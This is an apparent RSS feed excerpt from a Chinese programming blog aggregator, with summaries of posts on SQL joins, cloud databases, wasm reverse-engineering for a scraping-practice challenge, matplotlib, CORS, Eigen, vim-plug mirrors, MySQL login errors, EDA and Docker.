      <description>背景 写了一段sql，一个表自关联了三次，测试后发现如果用left join不到一秒可以查询出数据，如果用inner join却查询几分钟都不会出数据。&#xA;表格结构 如下所示，这是一张用户的报表浏览记录表，其中CLICK_TIME创建了索引字段，表格总数据量20w条左右&#xA;查询sql 下面sql想要查询每个用户一周之内每天相比较点击报表的最早时间和最晚时间，以及所点击的报表的明细。&#xA;SELECT c.wx_user_id AS wxUserId, c.menu_name AS earliestMenu, c.click_time AS earliestTime,d.menu_name lastMenu,d.click_time lastTime,b.num num,b.max maxTime,b.min minTime,&#39;0&#39; menu_type FROM ( -- 得到报表浏览最早的时间和浏览最晚的时间 SELECT a.wx_user_id, count(1) num , max(to_CHAR(a.click_time, &#39;HH24:MI:SS&#39;)) AS max , min(to_CHAR(a.click_time, &#39;HH24:MI:SS&#39;)) AS min FROM MOBILE_DOOR_MENU_CLICK_LOG a WHERE a.click_time &amp;gt;= trunc(SYSDATE-4) and a.click_time &amp;lt;= TO_DATE(TO_CHAR(SYSDATE, &#39;yyyy-MM-dd HH24&#39;),&#39;yyyy-MM-dd HH24:MI:SS&#39;) GROUP BY a.wx_user_id ) b -- 根据用户名和浏览时间进行自关联得到最早查询明细 left JOIN (select * from MOBILE_DOOR_MENU_CLICK_LOG WHERE click_time &amp;gt;= trunc(SYSDATE-4) and click_time &amp;lt;= TO_DATE(TO_CHAR(SYSDATE, &#39;yyyy-MM-dd HH24&#39;),&#39;yyyy-MM-dd HH24:MI:SS&#39;)) c ON c.</description>
    </item>
    <item>
      <title>大数据应用与原理之云数据库</title>
      <link>https://bchobby.github.io/posts/e8d9dcccdf0e6950777d20d35584e2f8/</link>
      <pubDate>Tue, 07 Dec 2021 09:42:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8d9dcccdf0e6950777d20d35584e2f8/</guid>
      <description> 一、云数据库概述 ** 特点：**&#xA;1.按需服务&#xA;2.随时服务&#xA;3.通用性&#xA;4.高可靠性&#xA;5.易用性&#xA;6.免维护&#xA;7.安全性&#xA;iaas saas paas&#xA;云数据库与其他数据库的关系&#xA;无专有模型，多个并用，以服务形式提供&#xA;二、云数据库产品 亚马逊、微软等&#xA;三、UMP系统概述 Alibaba开发通用 Unified Mysql Platform&#xA;1.单一对外访问接口&#xA;2.消除单点故障&#xA;3.动态可伸缩性&#xA;4.实现资源间相互隔离&#xA;系统架构 Mnesia 分布式数据库&#xA;异步消息队列&#xA;zoomkeep&#xA;LVS linux virtual server&#xA;controller 服务器&#xA;Proxy服务器&#xA;agent server&#xA;日志服务器&#xA;信息统计服务器&#xA;愚公系统&#xA;ump系统功能 资源隔离&#xA;四、Amazon 产品 亚马逊开创云计算服务模式作为IT资源提供给客户&#xA;AWS&#xA;AWS架构 NEtwork&#xA;compute&#xA;EC2 ELB&#xA;storage&#xA;database&#xA;App service&#xA;Deployment&#xA;使用模式&#xA;云数据库 SimpleDB&#xA;DynamoDB&#xA;RDS&#xA;微软云SQL Azure </description>
    </item>
    <item>
      <title>js逆向|对wasm文件的两种简单解法</title>
      <link>https://bchobby.github.io/posts/4b22b7c2154e4c95b815622e580a0c79/</link>
      <pubDate>Tue, 07 Dec 2021 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b22b7c2154e4c95b815622e580a0c79/</guid>
      <description>关注它，不迷路。&#xA;之前写过一篇文章，使用pywasm来导出wasm里的函数，具体内容见下面的文章:&#xA;JS逆向:Wasm文件导出函数的调用|猿人学爬虫对抗赛第十五题&#xA;依然以猿人学的题目作为练手地址，看看今天介绍的2种wasm文件的解法。&#xA;一,使用WebAssembly.instantiate方法。&#xA;我们看到网站上有这样的一段代码:&#xA;我们可以依葫芦画瓢，写出类似的代码:&#xA;exports.yrx15_wasm = (buf)=&amp;gt;{ let wasm_buffer = new Uint8Array(buf).buffer res = WebAssembly.instantiate(wasm_buffer) return res.then( res =&amp;gt; { instance = res.instance q = instance.exports.encode m = function () { t1 = parseInt(Date.parse(new Date()) / 1000 / 2); t2 = parseInt(Date.parse(new Date()) / 1000 / 2 - Math.floor(Math.random() * (50) + 1)); return q(t1, t2).toString() + &#39;|&#39; + t1 + &#39;|&#39; + t2; } return m() } ) } 再使用 node_vm2 这个库来调用这段js，参数buf传递的是Python里的list类型数据:</description>
    </item>
    <item>
      <title>python使用Axes3D画三维图加入legend图例时报错AttributeError: ‘Poly3DCollection‘ object has no attribute ‘_edgecolo</title>
      <link>https://bchobby.github.io/posts/fc8ea0775c8ce843aeb1c370b8f60378/</link>
      <pubDate>Mon, 06 Dec 2021 22:25:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc8ea0775c8ce843aeb1c370b8f60378/</guid>
      <description> Q：python使用Axes3D画三维图加入legend图例时报错AttributeError: &#39;Poly3DCollection&#39; object has no attribute &#39;_edgecolors2d&#39; 报错源代码&#xA;fig = plt.figure() ax = Axes3D(fig) X, Y = np.meshgrid(3, 3) ax.plot_surface(X, Y, np.zeros([3,3]， label=&#34;surf&#34;) ax.legend() plt.show() A：在ax.legend()加入如下代码 surf._facecolors2d=surf._facecolors3d surf._edgecolors2d=surf._edgecolors3d 修改后代码&#xA;fig = plt.figure() ax = Axes3D(fig) X, Y = np.meshgrid(3, 3) surf = ax.plot_surface(X, Y, np.zeros([3,3], label=&#34;surf&#34;) surf._facecolors2d=surf._facecolors3d surf._edgecolors2d=surf._edgecolors3d ax.legend() plt.show() </description>
    </item>
    <item>
      <title>html2canvas 画图出现空白的情况，引出图片跨域的相关问题</title>
      <link>https://bchobby.github.io/posts/b6bb13602a95f2933d0ff55c697d3458/</link>
      <pubDate>Mon, 06 Dec 2021 18:09:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6bb13602a95f2933d0ff55c697d3458/</guid>
      <description>其实这个是因为我们的canvas在绘制的时候发现了不同源头的资源，这个时候浏览器会认为污染了当前canvas同时也会带来一系列安全的问题。&#xA;。&#xA;在&#34;被污染&#34;的canvas中调用以下方法将会抛出安全错误： 在 &amp;lt;canvas&amp;gt; 的上下文上调用getImageData() 在 &amp;lt;canvas&amp;gt; 上调用 toBlob() 在 &amp;lt;canvas&amp;gt; 上调用 toDataURL() 这种机制可以避免未经许可拉取远程网站信息而导致的用户隐私泄露 在html2canvas中画图的时候，如果图片地址和当前页面不同源头的情况下，会出现跨域问题，比如 图片域名和当前域名不同，当前是的http,而图片的域名是 https的协议。&#xA;这个时候 我们应该先让后端童鞋去配置下 允许跨域访问静态资源，&#xA;然后在html2canvas绘制的时候 配置上加上&#xA;useCORS: true,&#xA;html2canvas(demo, { useCORS: true, scrollY: 0, scrollX: 0, allowTaint: true }).then(canvas =&amp;gt; { let base64 = canvas.toDataURL(&#34;image/png&#34;) this.base64Img = base64 }) 但是上线之后发现还是会出现跨域的问题&#xA;其实这个时候我们可以通过 img标签的一个属性&#xA;crossorigin= anonymous&#xA;之前看网上说的这个方式。还是不行。照样还是空白的情况会发生&#xA;还有一种方式就是 直接我们吧图片的源头写在这里 就可以处理&#xA;比如你的图片的域名是 “https://demo.example.com”&#xA;我们在下载的图片上直接写&#xA;&amp;lt;img src=&#34;https://demo.example.com/cdn/demo.png&#34; crossorigin=&#34;https://demo.example.com&#34; /&amp;gt; 解决跨域问题&#xA;关注我 持续更新前端知识。</description>
    </item>
    <item>
      <title>C语言实现稀疏矩阵运算，求解线性方程组问题（基于eigen）</title>
      <link>https://bchobby.github.io/posts/7bc45286f80d63e89d3bfa254c6df93e/</link>
      <pubDate>Mon, 06 Dec 2021 16:06:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bc45286f80d63e89d3bfa254c6df93e/</guid>
      <description>近期导师让我将一个matlab代码改写成C，其中涉及到大量的矩阵运算和稀疏矩阵运算，经过一段时间的摸索和实践，记录一下这段时间的学习经验&#xA;首先由于要基于C语言实现一些矩阵的运算，加减乘除，求逆，以及解线性方程组AX=B之类。&#xA;这种矩阵运算自己写的话就有点浪费时间，而且效率肯定不会很高了...故选择eigen库，开源库不用考虑引用问题，且数据结构、函数等相对简单，安装方便，很好上手。&#xA;Windows下Eigen + vs配置_wilsonass的博客-CSDN博客&#xA;基础的一些矩阵定义及基础矩阵操作可参考以下：&#xA;Eigen: Main Page（官方说明文档）&#xA;C++矩阵库 Eigen 简介 - rainbow70626 - 博客园 (cnblogs.com)&#xA;基本求解器（只需要eigen就可以）&#xA;下面具体说一下解系数为稀疏矩阵的线性方程组的问题：&#xA;在eigen中，有自带的一部分求解器，参考这篇博客的讲解：&#xA;Eigen教程5 - 求解稀疏线性方程组_张学志の博客-CSDN博客&#xA;如SimplicialLLT、SimplicialLDLT等求解器是可以直接使用的：&#xA;SimplicialLDLT&amp;lt;SparseMatrix&amp;lt;float&amp;gt;&amp;gt; solver; solver.compute(A); VectorXf x = solver.solve(B); 这是直接法求解，此外还有迭代法求解线性方程组：&#xA;87 Eigen应用：解线性方程组的古典迭代法 - 十步一杀2017 - 博客园 (cnblogs.com)&#xA;共轭梯度求解&#xA;//共轭梯度求解器ConjugateGradient ConjugateGradient&amp;lt;SparseMatrix&amp;lt;float&amp;gt;, Lower | Upper&amp;gt; cg; cg.compute(A); VectorXf x = cg.solve(B); std::cout &amp;lt;&amp;lt; &#34;#iterations: &#34; &amp;lt;&amp;lt; cg.iterations() &amp;lt;&amp;lt; std::endl; std::cout &amp;lt;&amp;lt; &#34;estimated error: &#34; &amp;lt;&amp;lt; cg.error() &amp;lt;&amp;lt; std::endl; // update b, and solve again x = cg.</description>
    </item>
    <item>
      <title>vim-plug 安装失败</title>
      <link>https://bchobby.github.io/posts/05b4fc6474d7a139bf338236d1311284/</link>
      <pubDate>Mon, 06 Dec 2021 08:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05b4fc6474d7a139bf338236d1311284/</guid>
      <description>主要原因：vim-plug 上的插件大部分都托管在github上。&#xA;解决方案：用国内镜像，间接访问vim-plug的实际网站。即修改plug.vim访问的网站为镜像网站。&#xA;打开 plug.vim ，搜索 github, 修改两条语句，即可成功下载GitHub资源。 let fmt = get(g:, &#39;plug_url_format&#39;, &#39;https://git::@github.com/%s.git&#39;) 改为&#xA;let fmt = get(g:, &#39;plug_url_format&#39;, &#39;https://git::@hub.fastgit.org/%s.git&#39;) \ &#39;^https://git::@github\.com&#39;, &#39;https://github.com&#39;, &#39;&#39;) 改为&#xA;\ &#39;^https://git::@hub.fastgit\.org&#39;, &#39;https://hub.fastgit.org&#39;, &#39;&#39;) 上述两个步骤的目是让镜像网站代替实际网站, 这样能有效提高下载成功率。</description>
    </item>
    <item>
      <title>sku与spu 概念</title>
      <link>https://bchobby.github.io/posts/ce33b18baa4440e3547963135b06065c/</link>
      <pubDate>Sun, 05 Dec 2021 21:37:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce33b18baa4440e3547963135b06065c/</guid>
      <description> SPU和SKU是电商产品具有的两个重要概念。在电商网站设计中，它对应了一件商品在数据库表中的具体存储方式。抛开数据库来描述某一件商品，自然不需要额外加入这两个比较复杂的概念，但是考虑到电商系统中对商品信息的调用非常频繁，而数据的展现方式又各式各样，因此如果不对商品信息在数据库中存储方式进行合理设计，可能会导致数据库查询复杂化、页面请求变慢等问题。对前端而言，spu、sku可以对商品描述进行合理分级，便于在不同页面根据需求展示不同详细程度的产品信息。对后端而言，spu、sku可以统一和规范化产品的数据库设计，减少管理商品(增/删/改/查)时数据库的开销。&#xA;SPU：标准化产品单元 SPU = Standard Product Unit （标准化产品单元）,SPU是商品信息聚合的最小单位，是一组可复用、易检索的标准化信息的集合，该集合描述了一个产品的特性。&#xA;通俗点讲，属性值、特性相同的商品就可以称为一个SPU。&#xA;SKU：库存量最小单位（最小库存单元） SKU=stock keeping unit(库存量单位) ，SKU即库存进出计量的单位（买家购买、商家进货、供应商备货、工厂生产都是依据SKU进行的）。SKU在服装、鞋类商品中使用最多最普遍。 例如纺织品中一个SKU通常表示：规格、颜色、款式。&#xA;SKU是物理上不可分割的最小存货单元。也就是说一款商品，可以根据SKU来确定具体的货物存量。&#xA;如一件M码（四个尺码：S码、M码、L码、X码）的粉色（三种颜色：粉色、黄色、黑色）Zara女士风衣，其中M码、粉色就是一组SKU的组合。&#xA;SKU在生成时, 会根据属性生成相应的笛卡尔积。根据一组SKU可以确定商品的库存情况，那么上面的Zara女士风衣一共有4 * 3 = 12个SKU组合。&#xA;M码+粉色这两个属性组合被称为一组SKU、因为SKU是物理上不可分割的最小存货单元，单凭尺寸或者颜色是没有办法确认这款商品的库存情况。&#xA;同理商家进货补货也是通过SKU来完成的，试问淘宝店家跟供货商说我要100件红色女士风衣？供应商知道该怎么给他备货吗？&#xA;显然是不知道的。因为还欠缺了另外的一个销售属性【尺码】。&#xA;举例：&#xA;iPhone X 全网通黑色256G 就是一个SKU，表示了具体的规格、颜色等信息。iPhone X 就是一个SPU，与商家、颜色、款式、规格、套餐等都无关。 SPU和SKU是在不同层次上对商品进行描述，我们可以这么理解：&#xA;标准化产品单元(SPU)，标准化，即被广泛认知的的东西。在市场中我们买卖东西，我们会说某某品牌的xx产品如何如何，而不会去说某某品牌的xx产品xx颜色xx尺寸的产品如何如何。就好比手机发布会中，说我们今年推出了一款新的手机，型号为iphone11，而不会说我们今年推出了iphone 11 128g 玫瑰金、iphone 11 128g 深空灰等等。标准化，也可以理解为对描述产品的详细程度上的一种标准，但需要注意的是这个标准是对产品的最小粒度描述。也就是说不同的spu就是不同的产品了，如iphone11和iphone8，虽然都是iphone，但是普遍认为iphone产品的最小粒度在型号上，因此他们就是两个产品了。库存量单元(SKU)，顾名思义就是库存商品单元，是要具体往外出售 的物品。SPU告诉了我们一个物品是什么东西，SKU则告诉了我们这个物品是一件具有什么特征什么规格尺寸当前是否还有库存的东西。 SKU和商品之间的关系 SPU，即标准化产品单元。简单理解就是某一种产品。SKU，即库存量单元。即具体的一件商品。商品SPU和商品SKU是包含关系，一个商品SPU包含若干个商品SKU子实体，商品SKU从属于商品SPU。&#xA;3）SKU不是编码，每个SKU包含一个唯一编码，即SKU Code，用于管理。&#xA;4）商品本身也有一个编码，即Product Code，但不作为直接库存管理使用。 </description>
    </item>
    <item>
      <title>谷歌（Google）浏览器显示内存不足，无法打开此网页</title>
      <link>https://bchobby.github.io/posts/3f79cc67be7f293dda0bb7a88513c300/</link>
      <pubDate>Sun, 05 Dec 2021 21:13:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f79cc67be7f293dda0bb7a88513c300/</guid>
      <description>问题描述 在使用谷歌浏览器时，频繁出现内存不足，无法打开此网页。&#xA;问题分析 Chrome需要虚拟内存的支持！总是优先占用虚拟内存，虚拟内存满了才使用物理内存。也就是说，虚拟内存设置的越大，Chrome可以打开的标签页就越多。&#xA;注：本人就是在清除C盘一些“无用”文件，想把虚拟内存移到D盘，但C盘虚拟内存删了，但D盘没设置，所有导致了错误。&#xA;问题解决 1.在系统属性中选择“高级”，点击“设置(S)...”。&#xA;2.在性能选项中选择“高级”，点击“更改(C)...”。&#xA;3.选择一个盘符，点击系统管理的大小，点击设置，点击确定，最后点击性能选项中的“应用(A)”，不过一般需要重启电脑才能生效。&#xA;注：也可以自定义虚拟内存的大小。如果勾选自动管理所有驱动器的分页文件大小（A）,默认托管在系统盘。本人由于避免占用C盘内存，所以设置了D盘。&#xA;参考链接&#xA;谷歌浏览器Chrome黑屏\提示内存不足\应用程序错误的解决办法 &amp;amp;&amp;amp; 虚拟内存应该设多大_learner_zyj的专栏-CSDN博客_谷歌浏览器内存不足,无法打开此网页https://blog.csdn.net/wmm131333/article/details/98734443</description>
    </item>
    <item>
      <title>idea使用教程-模板的使用</title>
      <link>https://bchobby.github.io/posts/1a21c32ac707426ff4f585925ec71ed7/</link>
      <pubDate>Sun, 05 Dec 2021 16:41:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a21c32ac707426ff4f585925ec71ed7/</guid>
      <description>一、代码模板是什么 它的原理就是配置一些常用代码字母缩写，在输入简写时可以出现你预定义的固定模式的代码，使得开发效率大大提高，同时也可以增加个性化。最简单的例子就是在Java中输入sout会出现System.out.println();&#xA;（一）所处位置：&#xA;（1）Live Templates&#xA;（2）Postfix Completion&#xA;（二）区别：&#xA;【1】&#xA;Live Templates中可以做用户的个性化定制。&#xA;Postfix Completion中只能用，不能修改。&#xA;【2】使用方式不同&#xA;二、常用的代码模板 【1】模板1： main方法：&#xA;main 或者 psvm&#xA;【2】模板2：输出语句：&#xA;sout 或者 .sout&#xA;一些变型：&#xA;soutp:打印方法的形参&#xA;soutm:打印方法的名字&#xA;soutv:打印变量&#xA;【3】模板3： 循环&#xA;普通for循环： fori（正向） 或者 .fori （正向） . forr(逆向)&#xA;增强for循环： iter 或者 .for&#xA;（可以用于数组的遍历，集合的遍历）&#xA;【4】模板4： 条件判断&#xA;ifn 或者 .null ：判断是否为null （if null）&#xA;inn 或者 .nn ：判断不等于null (if not null)&#xA;【5】模板5： 属性修饰符：&#xA;prsf : private static final&#xA;psf :public static final&#xA;三、修改现有模板 【1】案例1：改main方法： psvm</description>
    </item>
    <item>
      <title>c&#43;&#43;设计函数查找数组中的最大和最小元素，并计算去除最大和最小后元素的平均值</title>
      <link>https://bchobby.github.io/posts/14332ab46bfeb27f787dfd2f4be80190/</link>
      <pubDate>Sat, 04 Dec 2021 23:42:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14332ab46bfeb27f787dfd2f4be80190/</guid>
      <description>第一串代码为精简版&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; #define N 10//用宏定义来控制数组的大小 void input(float *p,int n) //给数组num赋值 { for(int i=0;i&amp;lt;n;i++) { cout&amp;lt;&amp;lt;&#34;请输入第&#34;&amp;lt;&amp;lt;i+1&amp;lt;&amp;lt;&#34;个元素：&#34;; cin&amp;gt;&amp;gt;*p; p++; } } void output(float *p,int n) //输出数组num的值 { for(int i=0;i&amp;lt;n;i++) { cout&amp;lt;&amp;lt;p[i]&amp;lt;&amp;lt;&#39;\t&#39;; if((i+1)%5==0)cout&amp;lt;&amp;lt;&#39;\n&#39;; //每输出5个换行 } } float fun(float a[],int n,float &amp;amp;max,float *min) { int i,j;float s=0,aver; for(i=0;i&amp;lt;n;i++) //查找数组中的重大和最小值，并累加 { if(max&amp;lt;a[i])max=a[i]; if(*min&amp;gt;a[i])*min=a[i]; s+=a[i]; } aver=(s-max-*min)/(n-2); //计算去除最大值和最小值后数组的平均值 return aver; } int main() { cout&amp;lt;&amp;lt;&#34;输入一个10个数的数组\n，每输入一个数按回车确定&#34;; float num[10],*p=num; //指针p指向数组num的首地址 input(num,N); cout&amp;lt;&amp;lt;&#34;输入的数组为：\n&#34;; output(num,N); float max=p[0],min=p[0]; float aver=fun(p,5,max,&amp;amp;min); cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>Linux下MySQL出现ERROR 1698 (28000): Access denied for user ‘root‘@‘localhost‘和ERROR 1045 (28000)的一些解决方法</title>
      <link>https://bchobby.github.io/posts/40f15fb21e83a38fa7b23e6c4fc2ab36/</link>
      <pubDate>Sat, 04 Dec 2021 21:27:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40f15fb21e83a38fa7b23e6c4fc2ab36/</guid>
      <description>先说环境版本号，我使用的是： 1.虚拟机：VMware® Workstation 16 Pro&#xA;版本16.2.1&#xA;2.Linux环境：Ubuntu64位&#xA;版本ubuntu-20.04.3-desktop-amd64&#xA;3.Mysql：使用apt安装&#xA;版本mysql-server-8.0，mysql-server-core-8.0&#xA;不管是用Navicat连，还是用终端连，都会出现ERROR 1698&#xA;先说原因 因为在Ubuntu下用apt装mysql是没有设置密码的环节的&#xA;所以一开始就是没有密码，而且密码也不是为空值，直接敲回车也进不去mysql&#xA;所以我们这个时候可以直接mysql -u root&#xA;直接进入mysql&#xA;——————————————手动分隔符————————————————————————————&#xA;进入mysql后 我们先use mysql;,使用mysql数据库&#xA;再输入SELECT User, Host, plugin FROM mysql.user;，查看我们root用户的身份认证器插件&#xA;这里可以看到我们root用户的认证器插件（plugin）是auth _socket&#xA;auth_socket这个插件的验证方式不要求输入密码，即使输入了密码也不验证&#xA;而它也只能用 UNIX 的 socket 方式登陆，这就是说只能本地登陆&#xA;以及操作系统的用户和 MySQL 数据库的用户名必须一致，例如你要登陆 MySQL 的 root 用户，必须用操作系统的 root 用户登陆&#xA;再就是Mysql8.0版本后，默认认证方式都改成sha2了，就是图上的 caching_sha2_password&#xA;但很多开发环境都没有sha2的插件，就导致这个sha2问题贼多，所以我们要换成最稳的那个认证插件：mysql_native_password&#xA;所以我们再输入 UPDATE user SET plugin=&#39;mysql_native_password&#39; WHERE User=&#39;root&#39;;&#xA;将root用户的认证插件改为mysql_native_password&#xA;修改成功后再输入一次SELECT User, Host, plugin FROM mysql.user;查看用户插件&#xA;可以看到是修改成功了，然后再输入FLUSH PRIVILEGES;，使其生效&#xA;然后我们重启一下mysql服务，输入sudo service mysql restart;</description>
    </item>
    <item>
      <title>（六）立创EDA之原理图设计示例</title>
      <link>https://bchobby.github.io/posts/ddd7b673ae90f58edee500fa82091b13/</link>
      <pubDate>Sat, 04 Dec 2021 15:17:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddd7b673ae90f58edee500fa82091b13/</guid>
      <description>文章目录 前言一、原理图设计1.1镜像翻转1.2 放置元器件1.3 设置图纸大小 二、检查封装三、交叉选择功能四、布局传递功能五、布局六、铺铜功能6.1、填充功能6.2、矩形填充功能 七、自动布线 前言 学习目录&#xA;（一）立创EDA的安装&#xA;（二）立创EDA之新建工程，原理图，PCB&#xA;（三）立创EDA原理图库的创建&#xA;（四）立创EDA之封装库的创建&#xA;（五）立创EDA之3D模型&#xA;我们前面学习了如何新建工程，如何新建原理图库，如何新建封装库，如何导入3D模型库，并且是以LM358为例。那么我们今天就以LM358为例进行原理图设计示例。&#xA;首先先把我们之前做好的子库添加进来。放在原理图里面。&#xA;一、原理图设计 1.1镜像翻转 拖动状态下按X，实现X轴镜像翻转，按Y，Y轴镜像翻转。&#xA;1.2 放置元器件 然后我们把VCC，GND也加上，然后再加上电阻，然后立创商城搜索22uF的引线型电解电容。放置到画布。同时我们添加滑动变阻器，二极管，三极管，插针，这些在基础库都有&#xA;1.3 设置图纸大小 这个图我们就大致画好了，图纸看起来有点大，那么我们就调整一下图纸大小。&#xA;然后改一下具体参数，那么我们的原理图设计就基本完成了。&#xA;二、检查封装 在原理图转PCB之前我们需要检查我们的封装是否正确，那么就需要用到我们的封装管理器了。&#xA;有两种方法进入，一个是工具里面的封装管理器。&#xA;一种是点击某一个器件，点击右侧的封装&#xA;然后我们检查我们的封装，发现都没啥要改的。那就可以转成PCB了，&#xA;当然三极管改成9013呀，8050也是可以的，改一下封装就可以了。&#xA;三、交叉选择功能 前面的文章我们也说过了，立创EDA这个交叉选择的功能。&#xA;我们在原理图选择选中一个器件，然后在工具选择交叉选择，那么在PCB中我们就可以看到器件高亮选中了。同理在pcb中选中，然后交叉选择也是一样的道理。&#xA;四、布局传递功能 前面的文章我们也说过了，立创EDA这个布局传递的功能。可以快速进行布局。&#xA;就是根据你的原理图来进行预布局，我们选中全部器件，然后工具，布局传递。&#xA;那么在PCB图里面就可以单击，放置就可以了，当然也可以选中一部分进行布局传递。&#xA;五、布局 然后我们按照原理图进行一个大概的布局，差不多就这样，反正线不那么乱就行。&#xA;到时候再微调嘛。&#xA;六、铺铜功能 铺铜我们一般框一个矩形，然后里面铺铜，铺铜的意思就是在我们的PCB板上铺一层铜皮。&#xA;，一般双层板的话，就是底层铺地铜。&#xA;我们选择底层，然后选择铺铜。然后依此点击边框的四个角，然后围成一个闭合形状，右键即可。&#xA;或者按L改变布线方式，按1次的话就是直角了。&#xA;我们可以看到默认就是十字花连接。我们单击我们的铺铜框，就是这个铺铜线，然后我们可以看到这个铺铜的属性，我们可以选择发散，也可以选择直连，不建议直连，因为直连散热太快了，不利于焊接。&#xA;那么顶层的铺铜方式也是类似的。如果我们在内部覆铜也是一样的情况。但是为什么没有显示出来，那是因为在这个覆铜的框内没有一个与覆铜相同的网络，这个默认是GND，也就是说，你这里没有GND。&#xA;比如说这个R1的焊盘是U1_3的网络，然后把这个网络名字赋予给刚才我们这层铜皮，&#xA;把它改为U1_3，那就很明显，我们的铜皮就有了网络属性，就连接上了。&#xA;6.1、填充功能 还有一个功能就是填充，填充在覆铜的右边，然后点击就可以添加网络&#xA;6.2、矩形填充功能 就是一个填充的铜皮了，不过是矩形的，同样也是可以添加网络。&#xA;七、自动布线 自动布线这个功能你说他好，确实方便，不好吧，也确实不够美观。&#xA;虽然立创EDA的自动布线功能非常好用，但并不建议大家在设计PCB的时候经常使用自动布线功能，在PCB设计中，布线其实也可以说是一门艺术，好的布线可以使系统性能更加优化，电路设计是一个持续积累的过程，需要多多练习。&#xA;这里就不过多讲解自动布线的细节了。感兴趣的可以点击下方链接，观看B站视频。&#xA;https://www.bilibili.com/video/BV1EE41147yV?p=16</description>
    </item>
    <item>
      <title>Docker原理详解</title>
      <link>https://bchobby.github.io/posts/7019fb56e6292903cb4df734914a16ee/</link>
      <pubDate>Sat, 04 Dec 2021 15:14:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7019fb56e6292903cb4df734914a16ee/</guid>
      <description>前言 统称来说，容器是一种工具，指的是可以装下其它物品的工具，以方便人类归纳放置物品、存储和异地运输，具体来说比如人类使用的衣柜、行李箱、背包等可以成为容器，但今天我们所说的容器是一种IT技术。&#xA;容器技术是虚拟化、云计算、大数据之后的一门新兴的并且是炙手可热的新技术，容器技术提高了硬件资源利用率(相对于物理机或者虚拟机)、方便了企业的业务快速横向扩容、实现了业务宕机自愈功能，因此未来数年会是一个容器愈发流行的时代，这是一个对于IT行业来说非常有影响和价值的技术，而对于IT行业的从业者来说，熟练掌握容器技术无疑是一个很有前景的行业工作机会。容器技术最早出现在freebsd叫做jail。&#xA;虚拟机是直接运行在物理机上的,可以实现嵌套虚拟化,但是性能较差,不经常使用。公司一般使用KVM+openstack对容器进行批量管理,创建以及批量维护,实现虚拟机的快速创建。KVM通过命令快速创建虚拟机,提供了虚拟机的运行环境，使用docker+k8s对容器进行管理,实现容器的快速创建,通过k8s快速创建容器,docker提供了容器的运行环境。&#xA;docker和虚拟机的差别主要在于: 横向扩容和故障自治愈。&#xA;故障自治愈指的是：业务跑在多个物理机或者虚拟机上vm1 vm2，当虚拟机或者物理机挂掉以后,可以自动转移到其他物理机或虚拟机并启动。&#xA;一、docker 简介 1.1 Docker 是什么 首先，Docker是一个在2013年开源的应用程序并且是一个基于go语言编写是一个开源的PAAS服务(Platform as a Service，平台即服务的缩写)， go语言是由google开发，docker公司最早叫dotCloud后由于Docker开源后大受欢迎就将公司改名为Docker Inc，总部位于美国加州的旧金山， Docker是基于linux内核实现，Docker最早采用LXC技术(LinuX Container的简写， LXC是Linux原生支持的容器技术，可以提供轻量级的虚拟化，可以说docker就是基于LXC发展起来的，提供LXC的高级封装，发展标准的配置方法)， 而虚拟化技术KVM(Kernelbased Virtual Machine)基于模块实现，Docker后改为自己研发并开源的runc技术运行容器。 Docker相比虚拟机的交付速度更快，资源消耗更低， Docker采用客户端/服务端架构，使用远程API来管理和创建Docker容器，其可以轻松的创建一个轻量级的、可移植的、自给自足的容器。 docker的三大理念是 build(构建)、ship(运输)、run(运行)，Docker遵从apache 2.0协议，并通过(namespace及cgroup等)来提供容器的资源隔离与安全保障等， 所以Docke容器在运行时不需要类似虚拟机（空运行的虚拟机占用物理机6-8%性能）的额外资源开销，因此可以大幅提高资源利用率。 总而言之，Docker是一种用了新颖方式实现的轻量级虚拟机。 类似于VM但是在原理和应用上和VM的差别还是很大的，并且docker的专业叫法是应用容器(Application Container)。 &amp;gt; 可移植指的是：可以运行在多种不同的操作平台上 &amp;gt; 自给自足指的是：每个docker夺回包括自己服务的运行环境, 例如java (JDL + TOMCAT + APP代码),将服务封装在服务中就可以运行。 docker的三大理念是build(构建)、ship(运输)、run(运行)指的是： 一次构建到处运输到处运行将构建的结果运输到任何有docker环境的服务器上,就可以运行构建的结果就是一个image(镜像) 在KVM(虚拟机)中称为模板, 创建虚拟机的时候就是基于模板创建虚拟机，创建容器的时候就是基于镜像创建容器。 namespace及cgroup也调用宿主机的内核,实现了docker运行的两个核心机制,这就会导致支持的功能可能会不一样。 dockerd 是整个docker的守护进程,基于守护进程再创建容器,这些容器都属于docker的子进程， 优点在于结构简单,当dockerd进程被kill掉或者出现异常以后,所有容器都会无法使用。 远程API指的是创建容器的时候，使用Cli客户端命令,或者使用web界面(由k8s封装的界面,称为dashborad) dashborad也是调用了dockerd来创建容器。 1.2 Docker 的组成 Docker官方文档： https://docs.docker.com/engine/docker-overview/ Docker官方仓库: https://hub.docker.com/ 包括第三方提供的镜像 Docker主机(Host/node节点/宿主机)：一个物理机或虚拟机，用于运行Docker服务进程和容器。 Docker服务端(Server): Docker守护进程，用于启动创建和运行docker容器。 Docker客户端(Client): 客户端使用docker命令或其他工具调用docker API。 Docker仓库(Registry): 统一保存镜像的仓库，类似于git或svn这样的版本控制系统,公司内部一般使用harbor搭建 Docker镜像(Images): 镜像可以理解为创建实例使用的模板。 Docker容器(Container): 容器是从镜像生成对外提供服务的一个或一组服务。 1.</description>
    </item>
    <item>
      <title>搭建WebService开发环境，改进“图片上传”实验</title>
      <link>https://bchobby.github.io/posts/e41bb93b97ba710b005fbf4947e67fd8/</link>
      <pubDate>Fri, 03 Dec 2021 23:16:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e41bb93b97ba710b005fbf4947e67fd8/</guid>
